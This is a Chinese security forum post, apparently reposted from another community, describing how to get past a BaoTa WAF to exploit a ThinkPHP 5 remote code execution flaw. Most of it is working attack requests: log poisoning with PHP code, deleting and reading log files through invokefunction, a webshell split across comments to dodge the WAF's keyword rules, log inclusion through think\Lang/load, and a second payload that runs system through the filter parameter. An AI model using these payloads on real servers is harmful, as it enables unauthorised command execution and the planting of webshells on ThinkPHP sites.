安全矩阵

 找回密码
 立即注册
搜索
查看: 2759|回复: 0

过WAF(宝塔)的小思路

[复制链接]

991

主题

1063

帖子

4319

积分

论坛元老

Rank: 8Rank: 8

积分
4319
发表于 2022-2-11 12:08:12 | 显示全部楼层 |阅读模式
原文链接:过WAF(宝塔)的小思路


前言


在一个项目上发现了一个tp5的rce漏洞,但是有宝塔拦截了
通常宝塔拦截了后,一些system、assert等危险函数是不能用了,但可以使用tp5的函数进行文件包含
但是我遇到这个宝塔应该不是默认规则,一些whoami、id、ipconfig、<?php a、等也会拦截,挺难绕过的,只好从文件包含日志下手了,这里直接将一句话木马写入日志是会被拦截的,所以只能另找方法。

RCE绕宝塔POC1

文件包含日志通常是构造语句写入日志,然后包含日志文件
  1. /index.php?s=index&content=<?php phpinfo();?>
  2. /index.php?s=index/\think\Lang/load&file=../runtime/log/202201/21.log
复制代码


但是很多时候我们构造语句时导致日志坏了,就不能包含了


需要将日志删除,然后重新构造
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=unlink&vars[1][]=../runtime/log/202201/21.log
有时候宝塔规则太狠了,发现<?php ?>或其它就给拦截,我们可以通过拆分进行构造语句
首先正常访问
  1. http://192.168.172.129:8808/index.php?s=index&content=test11
复制代码



然后观察最新一条日志记录了什么
  1. /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_get_contents&vars[1][]=../runtime/log/202201/21.log
复制代码




这里还要注意编码情况,这里可以看到这几处将我们请求写入了日志,并且没有编码

然后构造一句话,就已简单的<?php system(id);?>为例子
通过拆分和注释相互配合
  1. <?php /*.......
  2. .....*/$a="sys"."tem";/*......
  3. ....*/$b="id";/*.....
  4. ....*/$a($b);/*
复制代码

将上面四句话分别插入对应位置

成功插入日志中

最后包含日志
  1. /index.php?s=index/\think\Lang/load&file=../runtime/log/202201/21.log
复制代码



然后配合该技巧,构造一个能绕过宝塔的一句话木马即可

poc2

也就是另一种rce语句,根据poc1的思路,相同方式写入日志,错误就删日志
  1. get[]=id&_method=__construct&method=get&filter[]=system
  2. get[]=..\runtime\log\202201\14.log&_method=__construct&method=get&filter[]=unlink
  3. get[]=..\runtime\log\202201\14.log&_method=__construct&method=get&filter[]=think\__include_file
复制代码
转载奇安信攻防社区:https://forum.butian.net/share/1121




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-5-17 21:05 , Processed in 0.011685 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表